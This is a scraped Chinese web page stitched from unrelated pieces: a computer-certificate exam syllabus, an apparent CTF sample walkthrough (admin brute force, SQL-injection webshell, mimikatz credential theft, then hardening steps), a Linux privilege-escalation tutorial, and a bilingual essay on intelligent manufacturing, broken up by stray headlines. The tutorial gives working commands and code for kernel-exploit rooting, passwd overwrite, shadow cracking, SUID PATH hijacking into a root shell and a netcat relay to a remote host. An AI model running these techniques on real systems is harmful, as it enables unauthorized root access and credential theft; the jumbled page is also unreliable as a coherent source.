计算机一级(MS Office)考试大纲分为三大部分:
(1)基本要求:该部分提出了一级考试试题对考生在计算机基础知识和Office技能掌握的熟练度,可以粗略了解到考试的难易部分,只需大致阅读一下即可。
(2)考试内容:该部分明确要求考生掌握的计算机基础知识和Office软件技能。考生在备考过程中应当仔细阅读。
(3)考试方式:该部分针对等级考试的环境做了介绍,建议初次考试的同学务必阅读仔细,清楚考试题型和考试时间。
2基本要求
1. 具有微型计算机的基础知识(包括计算机病毒的防治常识)。
2. 了解微型计算机系统的组成和各部分的功能。
3. 了解操作系统的基本功能和作用,掌握Windows的基本操作和应用。
4. 了解文字处理的基本知识,熟练掌握文字处理MSWord的基本操作和应用,熟练掌握一种汉字(键盘)输入方法。
5. 了解电子表格软件的基本知识,掌握电子表格软件Excel 的基本操作和应用。
6. 了解多媒体演示软件的基本知识,掌握演示文稿制作软件PowerPoint 的基本操作和应用。
7. 了解计算机网络的基本概念和因特网(Internet)的初步知识,掌握IE浏览器软件和Out-lookExpress 软件的基本操作和使用。
3考试内容
一、计算机基础知识
二、操作系统的功能和使用

三、文字处理软件的功能和使用
四、电子表格软件的功能和使用
五、PowerPoint 的功能和使用;
六、因特网(Internet)的初步知识和应用
4考试方法
1. 采用无纸化考试,上机操作。 考试时间为90分钟。
2. 软件环境:Windows 7操作系统,Microsoft Office2010办公软件。
3. 在指定时间内,完成下列各项操作:
(1)选择题(计算机基础知识和网络的基本知识(20分)
(2)Windows 操作系统的使用(10分)
(3)Word操作(25分)

如何使企业安全意识培训更有成效?

(4)Excel 操作 (20分)
(5)PowerPoint 操作(15分)
(6)浏览器(IE)的简单使用和电子邮件收发(10分)
小编搜集的干货,拿走不用谢
第一台计算机ENIAC诞生于1946年(美国),是电子管计算机,第一代电子管计算机第二代晶体管计算机第三代中小规模集成电路第四代大规模超大规模集成电路计算机的应用领域;科学计算,信息管理,实时控制,办公自动化,人工智能,网络通信,电子商务,辅助设计。冯·诺依曼提出程序控制和存储程序计算机内部采用二进制形式1B=8bit1KB=1024B1MB=1024KB1GB=1024MB1TB=1024GB常用字符编码为ASCLL码(美国标准信息交换码)作为信息交换标准码。计算机系统由硬件系统和软件系统组成。计算机硬件系统包括:运算器,控制器,存储器,输入设备,输出设备。控制器和运算器合为CPU(中央处理器)。存储器分为内存和外存。内存分为只读存储器(ROM)和随机存储器(RAM)。RAM内信息断电易丢失。
Internet实现了分布在世界各地的各类网络的互联,其最基础和核心的协议是TCP/IP。HTTP是超文本传输协议,HTML是超文本标志语言,FTP是文件传输协议。
TCP协议的主要功能是确保数据的可靠传输。
计算机病毒是一组人为编制在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。具有破坏性,复制性和传染性。
二级考试
1计算机二级考试科目
C语言程序设计、Access数据库程序设计、
2其他科目
(1)单项选择题,40 题,40 分(含公共基础知识部分 10 分);
(2)基本操作题,18 分;
针对普通员工的环境和职业健康安全管理体系在线教程
(3)简单应用题,24 分;
(4)综合应用/操作题,18 分。
该文章作者已设置需关注才可以留言
微信扫一扫关注该公众号

手机泄密事件间谍软件居首,终端系统越来越傻瓜化,泄密似乎也越来越容易,保障终端安全需要全面的系统化解决方案。

猜您喜欢

岱凯最新研究报告指出:混合IT虽然成为标准企业运营模式,但成功…
网络安全公益短片个人信息保护实战
网络安全管理控制中心
以色列总理向人民英雄纪念碑敬献花圈
ESTAMOSDENTRO WECONNECTFASHION
在让国民了解信息安全基础有助“中国梦”实现

西普教育干货分享:信息安全铁人三项赛(企业赛)赛题知多少?

导语
信息安全铁人三项赛是由中国信息产业商会信息安全产业分会主办,教育部高等学校信息安全专业教学指导委员会协办,中国信息产业商会信息安全产业分会人才建设专业委员会和北京西普阳光教育科技股份有限公司承办的一项面向大学生的公益性科技类竞赛,大赛又细分为“信息安全数据分析对抗赛”、“企业计算环境安全对抗赛”和“个人计算环境安全对抗赛”三大赛事。
2017年3月26日,在天津市大学软件学院,国内网络安全圈即将上演一场激烈的行业技能竞赛——信息安全铁人三项赛华北赛区“西普杯”企业赛。这将是一场信息安全的世纪之战,技艺比拼,群雄争霸,谁将问鼎信息安全行业霸主之位,让我们拭目以待!
一、企业环境对抗赛
企业计算环境安全对抗赛是在企业计算环境下的一场安全对抗赛,侧重考察参赛选手对企业网络架构与应用的认知、脆弱性发现、利用以及安全加固的防护能力。比赛题目通过搭建典型企业的典型网络架构,建立起主要业务应用系统及工业控制网络生产环境,参赛选手通过对网络架构的分析进行脆弱性发现及漏洞利用,还原网络结构,获取flag信息,并通过对脆弱性做加固而得分。
二、企业环境安全对抗赛出题能力点企业计算环境安全对抗赛,定位企业网络安全运维与防护工作能力培养,从企业网络环境脆弱性发现、脆弱性威胁影响以及脆弱性加固实现企业网络环境安全防护。主要体现以下技术能力:
1企业网络结构认知能力
比赛选手可以通过技术手段,可以还原网络结构,实现对典型企业网络结构、企业业务应用系统、工业控制网络系统的认知以及防护技术体系架构的认知。
2脆弱性发现以及风险评估能力
比赛选手通过技术手段,从企业网络入口进行渗透,渗透过程中实现企业网络中漏洞发现,并通过漏洞利用与威胁影响评估,实现企业网络信息安全风险认知。
3企业网络完全防护能力
比赛选手通过对企业网络的渗透过程,获得了企业网络中的漏洞信息。可以通过加固技术,实现漏洞的防护。培养网络安全防护策略设计、系统加固防护技术、应用漏洞修复技术等能力。
三、企业计算环境安全对抗赛样题解析
为了使参赛选手了解本次企业赛的比赛模式,在真正比赛之前可以先通过样例题目进行大致了解,以下为例题的解题过程讲解,样题是以虚拟机的形式提供,可以到铁三赛官网地址下载:http://www.t3sec.org.cn。
本题目提供了三个虚拟机,模拟了一台小型企业中的官网服务器、一台公司内部域内机器、一台域控机器,但需要注意的是只提供web入口,所以另外两个虚拟机不能从选手端直接操作,具体配置信息需要查看环境内提供的说明文档。
本样题是模拟真实比赛的攻击阶段,目的是通过渗透此环境,拿到这个小型拓扑中隐藏的flag,flag格式为flagx{32位MD5},其中x为flag编号,共5个flag,所以编号从1到5。
攻击阶段
由于选手只可以访问此网络中的web服务器,所以需要发现此web服务器中存在的脆弱点,然后进行渗透,web服务器中共存在4个可以利用的点:

⊙访问网站发现此站点为dedecms,且后台地址没有改,也没有验证码,可以通过使用爆破工具进行爆破,然后从后台getshell。
⊙目录扫描也是web渗透中常用的手段,使用目录扫描工具并配合一个强大字典,会发现一个sql目录,手工访问一下,是一个程序员测试数据库的页面,此页面有注入,权限为root,可以通过sql注入写shell。
⊙通过目录扫描还可以发现一个hehe目录,此目录是phpmyadmin,用户和密码都为root,寻找方式getshell。
⊙端口扫描可谓是渗透中最常用的手段,通过端口扫描工具发现此web开放了ssh,密码为弱口令,可以通过hydra等工具进行爆破。
通过已经取得权限的web进行内网扫描,发现web网段中有一台pc开放了3389端口,尝试使用从web中读取到的账号密码来远程登录。 登录pc后发现有一个域用户正在登录,使用mimikatz获取此用户的账号和密码,ping一下此域控,使用抓取到的账号密码成功登录。在上述阶段中共存在5个flag:Flag1:网站后台界面中Flag2:网站数据库的flag字段Flag3:网站根目录的Thisisyourflag文件中Flag4:域内机器的c盘根目录中flag.txt文件Flag5:域控机器的c盘根目录中flag.txt文
防守阶段
减轻互联网安全风险的方法探讨
从上面攻击阶段中参赛选手知道了此套模拟企业环境中脆弱点所处位置,接下来便要对其进行修复。
⊙爆破后台
后台为弱口令,需要修改为强口令

歌力思关于更换2016年度审计机构及内部控制审计机构的公告

⊙sql注入
这个sql页面不属于dedecms中,是程序员为了测试而使用的,所以它的存在会造成漏洞,在业务系统上线后没有存在的意义,因此需要删除。

中铁武汉电气化局:“六个渗透”筑牢安全文化防火墙

我们保障信息安全的的外部驱动力主要源自对法律法规的遵从,以及满足客户和供应商对数据安全的要求,内部驱动力主要源自于保障业务持续性、商业机密和员工个人信息,我们相信,在未来驱动信息安全的力量也会越来越大。

银行系统的业务连续性与灾难恢复最佳实践

⊙爆破ssh
Web开启了ssh服务,是弱口令,需要修改为强口令
⊙phpmyadmin
虽然phpmyadmin已经更改了目录,但是如果被发现后使用弱口令登录也存在安全问题,可以将此目录删除,或改变为只有本地访问,同时Phpmyadmin的弱口令也需要修改。
⊙pc登录
可以登录内网中的机器pc是因为在web中存在了此pc的明文账号和密码,这是违背常规安全原则的,需要将其删除。
说明:
在企业环境中发现有一些有脆弱性的业务时,不是单单删除就可以解决的,因为可能某个有漏洞的功能是必须存在的,只是由于程序员的水平造成了此功能的漏洞,此时就需要进行代码修改和修复了。
报名通知
2016-2017赛季信息安全铁人三项赛华北区“西普杯”企业赛将于3月26日在天津市大学软件学院举行,同步将举行“聚力信安人才,共塑产业未来”论坛,诚挚的邀请您共同交流探讨,点击或扫描下方二维码填写回执报名参加论坛,期待您的莅临。
中国IT教育解决方案专家西普教育以
实践教学新模式,开发出全系列包含人才培养体系、在线实验云系统、线下实验实训室等三位一体的IT教育产品及服务解决方案。
微信扫一扫关注该公众号

数据显示国内企业网络安全意识不足,主要原因是国内信息化程度不如发达国家高,黑客总体的技术水平也相对低下,当然大众的网络安全意识就更有差距了。

猜您喜欢

周长青:加强应急管理 提高应对突发事件能力
源自内部的安全事故调查分析
移动僵尸网络防范
台湾多名军官翘班涉足声色场所军方:严惩不贷
TEISMAS FASTENMASTER
走出安全意识培训的误区

Linux提权:从入门到放弃

原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载

日站就要日个彻底。往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子扼杀在提权的萌芽里面。Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。一下是我总结的一些提权方法。

几点前提

已经拿到低权shell

被入侵的机器上面有nc,python,perl等linux非常常见的工具

有权限上传文件和下载文件

内核漏洞提权

提到脏牛,运维流下两行眼泪,我们留下两行鼻血。内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。

查看发行版

cat /etc/issue
cat /etc/-release

查看内核版本

uname -a

这里我找了台机器测试:

#uname -a
Linux xxxxx 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux#cat /etc/-release
DISTRIB_ID=UbuntuDISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04 LTS"

这样,我们就得到了系统的内核版本(2.6.32-21 pae),cpu架构(i686),和发行版(ubuntu 10.04)

可以开始搜索了

大多内核漏洞通过内核版本能很快查到

用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

searchspoit linux 2.6 ubuntu priv esc

结果:

这么多,我们加入系统信息缩小范围

searchsploit linux priv esc 2.6 ubuntu 10

这样可选的exp就少多了,很无奈,我们需要漫长的点开exp看具体要求的筛选过程,大部分exp都会写清生效条件。因此我们能够虽然很气,但也很快地去掉一些不具备利用条件的exp。比如第三个exp针对一个特别的磁盘格式,排除。

经过艰难的寻找,发现15704,c很顺眼,于是把源代码上传,然后:

#gcc exp.c
#lsexp.c
a.out#./a.out
id
uid=0(root) gid=0(root)

我们先编译exp再执行。可以看到exp执行以后没输出,但是我们其实已经得到rootshell了(exp执行以后一定敲个命令,不然都不知道是成功了还是卡了)

exploitdb的搜索过程虽然繁琐,但是能基本保证不会遗漏漏洞。如果想先偷懒图个快的话,我们可以试试https://www.kernel-exploits.com/,这里的exp已经按照内核版本分类了,而且有很多已经完成了编译。

比如我们搜索2.6.32:

这个rds的binary刚巧能用。“我收集信息了,我上传exp了,我就root了。“

当然,以上只是非常理想的情况,我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数,也需要手动调整一下编译的参数,比如给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌,不再赘述。

当内核版本没有好用的exp对应的时候,可以检查磁盘格式:

cat /etc/fstab

和已经安装的程序:

dpkg -l
rpm -qa

然后进行刚刚繁琐的搜索,没准就找到个bug

最后强调利用内核漏洞的几个注意点:

1.读源码,不然可能连编译都不会

2.读源码,不然费劲编译完才发现不适用

3.读源码,不然遇到一个删全盘的”exp“怎么办

明文root密码提权

passwd和shadow

虽然遇到的概率很小,但还是提一下

大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

这里是一个典型的passwd文件

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
ibuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash

root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
daemon::15730:0:99999:7:::
bin::15730:0:99999:7:::
sys::15730:0:99999:7:::
sync::15730:0:99999:7:::
games::15730:0:99999:7:::
man::15730:0:99999:7:::
lp::15730:0:99999:7:::
mail::15730:0:99999:7:::
news::15730:0:99999:7:::
uucp::15730:0:99999:7:::
proxy::15730:0:99999:7:::
www-data::15730:0:99999:7:::
backup::15730:0:99999:7:::
list::15730:0:99999:7:::
irc::15730:0:99999:7:::
gnats::15730:0:99999:7:::
nobody::15730:0:99999:7:::
libuuid:!:15730:0:99999:7:::
syslog::15730:0:99999:7:::
mysql:!:15730:0:99999:7:::
dovecot::15730:0:99999:7:::
sshd::15730:0:99999:7:::
postfix::15730:0:99999:7:::

shell命令来检查权限

cd /etc
ls -l passwd shadow

如果passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。如果shadow可读,我们可以读走root的hash,然后用hashcat或者john暴力破解之。

密码复用

很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。

and then?

有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:

 python -c 'import pty;pty.spawn("/bin/sh")'

就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了。

python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo su
sudo su
[sudo] password for www-data: 123456
Sorry, try again.
[sudo] password for www-data:

计划任务

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

ls -l /etc/cron

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。

SUID

SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。比如passwd命令,就是以root权限运行来修改shadow的。

这里我们做个实验(环境为ubuntu 16.04):

c源代码

#include<stdlib.h>
#include <unistd.h>
 int main()
 {
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}

以root进行编译和权限设置

gcc suid.c  -o suid-exp
chmod 4755 ./suid-exp#这里设置了SUID位
ls -l

输出

-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp

注意s属性,表示这个程序有SUID的属性。

接下来我们切换用户并执行

su test
./suid-exp

可以看到程序实际上已经提升到了root权限。

SUID程序经常存在提权漏洞,比如nmap就曾出现过提权漏洞。低权用户通过打开nmap交互模式以root执行任意系统命令。而除了借助程序功能提权,我们还可以尝试劫持环境变量提权。上文的c程序使用了system函数,system函数是继承环境变量的,因此我们通过替换环境变量可以达到执行任意命令的效果。

我们进入test低权用户的shell

cat >> /tmp/cat <<EOF
#!/usr/bin/python
print "this is not the true cat"
print "here is a root shell!"
import pty;pty.spawn("/bin/sh")
EOF
# 这里我们在/tmp建立了假的cat,它会用python执行一个shell
PATH=/tmp:$PATH#设置PATH,优先从/tmp查找程序
./suid-exp#执行suid程序,因为PATH被劫持,system("cat /etc/shadow");会执行我们的假cat

运行结果

还有一种情况:管理员配置错误,把不带setuid(0);代码的程序配置了SUID。当这些程序被劫持的时候,我们需要自己的程序中使用setuid(0);来提权到root。这里有一个小技巧,我们用perl脚本来setuid:

#!/usr/bin/perl
$< = $>;
$( = $) = 0;
system ("/bin/sh"):

用这个简单的脚本劫持,就把shell运行在root权限下了。

网络与隐藏的服务

有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程root漏洞。

netstat -antup#查看各种网络服务

如果找到些神秘的服务,可以用netcat做个转发

mkfifo backpipe
nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe

之后找漏洞,攻击,从头再来。

相关工具

提了那么配置错误的利用,却没说怎么找这些错误

分享两个脚本:

unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check

linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py

这两个程序不止细致地检查了非常多的配置问题,更让人感动地列出了所有可写文件。基本上可以说他们的检查是足够全面的。

当然如果希望手动检查还是推荐 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

总结

Linux提权花样非常多,涉及的技术五花八门。写这篇文章的时候总想把相关知识都解释清楚,但是面对系统繁琐的工作过程和众多的发行版深感自己理解之浅。我很赞同在很多论坛上看到的对于linux提权的提示:你需要知道linux系统的工作方式。各种奇技淫巧或是无比脑残的错误最终都回归到了系统的运行流程和权限管理机制上面。回归本质,系统地了解系统才是保证安全的最佳方式。

参考资料

http://www.xinotes.net/notes/note/1529/

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

联系方式

[email protected]

原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载

统一量刑标准捍卫信息安全

猜您喜欢

专访中国社科院国家法治指数研究中心主任田禾: 政务公开逐步健…
载体 天津国家信息安全产业基地 http://www.chinacybersecurity.org/20170322463.html
2016山西网络信息安全高峰论坛举行
中国企业走向世界,需融合全球安全文化,线上教程帮助您:
TTSDSCHOOLS FLATCREEKRANCH
多数安全运行中心SOC的投资面临难产困境
3·15晚会演绎诈骗情景剧 腾讯手机管家保护个人隐私安全

Intelligent Manufacturing: a new engine for China’s manufacturing industry

近年来,新工业革命方兴未艾,全球制造业正迈向数字化、智能化时代。为应对新工业革命下的国际竞争,发达国家不约而同地将智能制造作为制造业未来发展的重要方向。美国的《先进制造业国家战略计划》,旨在大力推动以“工业互联网”和“新一代机器人”为特征的智能制造战略布局。作为工业4.0的倡导者,德国意欲主导智慧工厂等工业4.0标准制定,掌控智能制造的规则话语权。日本提出了《机器人新战略》、“社会5.0战略”等一系列战略措施支持智能制造的发展,以重塑本国制造业的竞争新优势。
In recent years, the new industrial revolution is in the ascendant, the global manufacturing industry is moving towards digital, intelligent era. In order to cope with the international competition under the new industrial revolution, the developed countries make the intelligent manufacturing as an important direction of the future development of the manufacturing industry. The United States advanced manufacturing national strategic plan, aims to vigorously promote the industrial Internet and new generation of robots as the characteristics of intelligent manufacturing strategic layout. As an advocate of the industry 4, Germany is expected to lead the wisdom of the factory, such as the establishment of the industry’s 4 standards, control of intelligent manufacturing rules of discourse. Japan has put forward a series of strategic measures, such as new robot strategy and social 5 strategy, to support the development of intelligent manufacturing, in order to reshape the competitive advantage of domestic manufacturing industry.
回顾世界经济发展历程,每一次工业革命总是带来劳动生产率大幅提高和生产方式的巨大变革,同时也为后发国家提供了“弯道超车”的重要机遇。能否抓住智能制造这一重大战略机遇,关系到我国向制造强国迈进、跨越“中等收入陷阱”、全面建成小康社会等战略目标的实现。
Looking back on the development of the world economy, every industrial revolution has brought about a dramatic increase in labor productivity and a great change in the mode of production. Whether we can seize the important strategic opportunity of intelligent manufacturing is related to the realization of the strategic goal of making the country into a manufacturing power, striding across the middle-income trap and building a well-off society in an all-round way.
目前,我国制造业的规模已跃居世界第一,拥有世界上最为完整的工业体系,成为全球价值链的重要参与者。然而,总体来看,中国制造大而不强的特征明显,自主创新能力相对较弱,资源消耗大,低端产能过剩,高端供给明显不足,产业整体仍处于全球制造业链条的中低端。在当前国内发展动能转换和国际竞争加剧的形势下,发展智能制造,是实现工业强国战略目标的重要途径。
At present, the scale of China’s manufacturing industry has been ranked first in the world, with the world’s most complete industrial system, as an important participant in the global value chain. However, overall, the characteristics of China manufacturing big but not strong, independent innovation ability is relatively weak, high resource consumption, low excess capacity, high-end supply is obviously insufficient, the whole industry is still in the global manufacturing industry chain in the low-end. Under the current situation of domestic development of kinetic energy conversion and international competition intensifies, the development of intelligent manufacturing is an important way to achieve the strategic objectives of industrial power.

九江职业大学信息工程学院召开校园安全稳定工作会议(图)

强化“中国制造”的综合竞争力
Strengthen the comprehensive competitiveness of made in China
在经济发展新常态下,智能制造将成为加快供给侧结构性改革、带动制造业转型升级的新引擎。
In the new normal economic development, intelligent manufacturing will accelerate the structural reform of the supply side, driven by the transformation and upgrading of the manufacturing sector of the new engine.

社交帐号被盗:新时代的网络安全之殇

智能制造的本质,系虚拟网络和实体生产的相互渗透融合,通过将专家的知识和经验融入感知、决策、执行等制造活动中,赋予产品制造在线学习和知识进化的能力,使制造体系中的各个企业、各个生产单元高效协同,在减少对传统劳动力需求的同时,能极大地提高生产效率。智能制造不仅仅是单一技术和装备的突破与应用,而是依靠装备智能化、设计数字化、生产自动化、管理现代化、营销服务网格化等制造技术与信息技术的深度融合与集成,创造新的附加值。借助传感器、物联网、大数据、云计算等的运用,智能制造能够实现设备与设备、设备与工厂、各工厂之间以及供应链上下游企业间、企业与用户间的无缝对接,企业可以更加精准地预测用户需求,根据用户多样化、个性化的需求进行柔性生产,并实时监控整个生产过程,实现低成本的定制化服务。
The essence of intelligent manufacturing, integration of virtual network and the physical production, the expert knowledge and experience into perception, decision-making, execution and other manufacturing activities, ability to manufacture online learning and knowledge evolution, the various production units, each enterprise manufacturing system of effective coordination, in the reduction of traditional labor needs at the same time, can greatly improve the production efficiency. Intelligent manufacturing is not only a breakthrough with the single application of technology and equipment, but rely on integrated intelligent equipment, digital design, production automation, modernization of management, marketing service grid manufacturing technology and information technology and the depth of integration, new value creation. With the use of sensors, networking, big data, cloud computing, intelligent manufacturing equipment and equipment, to achieve between the equipment and factories, factories and enterprises and users between supply chain enterprises, the seamless enterprise can more accurately predict the user needs, flexible production according to the customer diversification and individuation needs, and real-time monitoring of the entire production process, realize low cost customized service.
对于我国来说,智能制造提升生产效率的功能有助于抵消劳动力成本上涨的影响,保持并强化“中国制造”的综合竞争力。制造业向智能制造的转型会产生对智能装备、智能传感器、新材料、工业软件系统以及相关服务的大量需求,能够形成新的产业增长点。此外,借力新的生产组织方式和商业模式,智能制造还能够实现生产制造与市场需求之间的动态匹配,有利于减少过剩产能和库存,节约资源和能源,这与供给侧结构性改革的目标方向高度契合。智能制造业将为“补短板”、打造经济发展新动能注入动力和活力。
For our country, the function of intelligent manufacturing to improve production efficiency helps to offset the impact of rising labor costs, maintain and strengthen the comprehensive competitiveness of made in China. Manufacturing to the transformation of intelligent manufacturing will produce a lot of demand for smart devices, smart sensors, new materials, industrial software systems and related services, to form a new growth point of the industry. In addition, leveraging the new production organization and business model, intelligent manufacturing can realize dynamic manufacturing and market demand, to reduce excess capacity and inventory, saving resources and energy, and the direction of the supply side structural reform highly fit. Intelligent manufacturing will fill short board, to create new economic development momentum impetus and vitality.
智能化升级仍面临挑战
Intelligent upgrade is still facing challenges
由于我国工业化起步晚,技术积累相对薄弱,信息化水平相对较低,我国制造业智能化升级面临着严峻的挑战。
Due to the late start of China’s industrialization, technology accumulation is relatively weak, the level of information is relatively low, China’s manufacturing industry is facing a severe challenge of intelligent upgrade.
一是“两化”融合的整体水平有待进一步提升。我国地区间、行业间以及企业之间信息化发展不平衡,一些企业已经开始智能化探索,但更多的企业尚处于电气化、自动化甚至机械化阶段,半机械化和手工生产在一些欠发达地区仍然存在。《中国企业两化融合发展报告2015》的数据显示,截至2015年,我国企业信息化应用水平较高的企业仅占14.6%,在综合集成基础上实现跨企业业务协同和模式创新的只占3%,但尚未开展信息化建设的占比却高达40%。我国制造业全面实现数字化、网络化、智能化还有很长的路要走。
First, the integration of the two levels to be further improved. Between the areas of our country, industry and enterprise informatization development is not balanced, some enterprises have begun to explore the intelligent, but more and more enterprises are still in electrification, automation and mechanization, semi mechanized and manual production still exists in some underdeveloped areas. Two China enterprise integration development report 2015 data show that as of 2015, China’s enterprise information application high level enterprises accounted for only 14.6%, to achieve inter enterprise business collaboration and innovation in the mode of integration on the basis of only 3%, but has yet to carry out the informatization construction of the proportion is as high as 40%. China’s manufacturing industry to achieve a full digital, networked, intelligent, there is still a long way to go.
二是智能制造的基础研发能力相对较弱。我国产、学、研的整体科技水平与美日欧等先进国家仍有较大差距,智能化的软硬件缺乏自主研发技术,高端传感器、操作系统、关键零部件主要依赖进口,在一定程度上阻碍了智能制造的发展。
Two is the basic research and development capabilities of intelligent manufacturing is relatively weak. In China, the overall level of science and technology education and research and the United States and Japan and other advanced countries, there is still a large gap between the hardware and software of intelligent lack of independent research and development technology, high-end sensor, operating system, key parts mainly rely on imports, to some extent hindered the development of intelligent manufacturing.
三是智能制造生产模式尚处于起步阶段。我国企业长期依靠低廉劳动力成本形成的成本洼地,惯于在国际国内市场上拼价格,导致全球价值链低端锁定,多数企业使用智能设备替代人工的动力不足。现阶段,即使一些引入智能设备的企业,也仅停留在初级应用阶段,以智能制造整合价值链和商业模式的企业屈指可数,更没有形成构建智能制造体系的战略思维和总体规划。
Three intelligent manufacturing production model is still in its infancy. China’s enterprises rely on low labor costs, the cost of the formation of depression, to fight the price in the international market, in the low-end of the global value chain lock, most companies use smart devices to replace the artificial power shortage. At this stage, even if some of the introduction of intelligent equipment enterprises, also only stay in the primary stage in the application of intelligent manufacturing, integration of value chain and business model of the enterprise are numbered, but did not form the construction of intelligent manufacturing system of strategic thinking and overall planning.
四是智能制造标准、工业软件、网络信息安全基础薄弱。标准是产业特别是高技术产业领域工业大国和商业巨头的必争之地,主导标准制定意味着掌握市场竞争和价值分配的话语权。目前,德国除了在国内及欧盟层面推广工业4.0标准化工作外,还在国际标准化组织设立了与工业4.0相关的咨询小组。我国虽然是制造大国,但是由我国主导制定的制造业国际标准数量并不多,国际上对中国标准的认可度也不高,中国在全球制造标准领域缺少话语权及影响力。在工业软件领域,世界上用于产品生命周期管理(PLM)的主流软件主要是由德国西门子公司、美国PTC公司和法国达索公司开发的,我国在工业软件开发方面缺少自主知识产权,明显处于劣势。
Four intelligent manufacturing standards, industrial software, network information security foundation is weak. Standard is the industry, especially high-tech industries in the field of industrial and commercial giants of the battleground, the dominant standard means to grasp the market competition and the right to speak of the value distribution. At present, in addition to the promotion of domestic industry in Germany and the EU level 4 standardization work, but also the establishment of the international organization for standardization and industry 4 related advisory group. Although China is a big country, but by China’s leading international standard manufacturing industry to develop the number is not much, the China standard recognition is not high, the lack of Chinese discourse power and influence in the field of global manufacturing standards. In the field of industrial software, for product lifecycle management (PLM) of the world’s mainstream software is mainly developed by the German company SIEMENS, American PTC company and the French Dassault, China’s lack of independent intellectual property rights in the software development industry, obviously at a disadvantage.
五是高素质复合型人才严重不足。从经营管理层面来看,我国企业缺少具有预见力的领军人物,以及在高水平的研发、市场开拓、财务管理等方面的专门人才。从员工队伍层面来看,我国企业存在初级技工多,高级技工少,传统型技工多,现代型技工少,单一技能的技工多,复合型的技工少的现象。员工综合素质偏低,直接制约了智能制造系统的应用和推广。而在国家战略层面,涉及智能制造标准制定、国际谈判、法律法规等方面的高级专业人才更是明显的“短板”。
Five is a serious shortage of high-quality talent. From the perspective of management, the enterprises in China are lack of leaders who have foresight, as well as the special talents in the high level research and development, market development, financial management and so on. From the point of view of the staff level, there are more and more junior technicians in our country, there are fewer senior technicians, more traditional craftsmen, fewer modern technicians, more skilled workers with a single skill, and less complex technicians. The low quality of the staff directly restricts the application and popularization of intelligent manufacturing system. In the national strategic level, involving the development of intelligent manufacturing standards, international negotiations, laws and regulations and other aspects of the senior professionals is obvious short board.
向全球价值链高端攀升
黑客可能会制作击键记录软件,并在公用电脑上安装,不要在网吧、图书馆、学校、酒店等公众场合的电脑上输入个人机密信息。
Rising to the global value chain
抓住新工业革命带来的战略机遇,以智能制造为突破口,引领中国制造向全球价值链高端攀升。
Seize the strategic opportunities brought about by the new industrial revolution, intelligent manufacturing as a breakthrough, leading China’s manufacturing to the global value chain to rise.
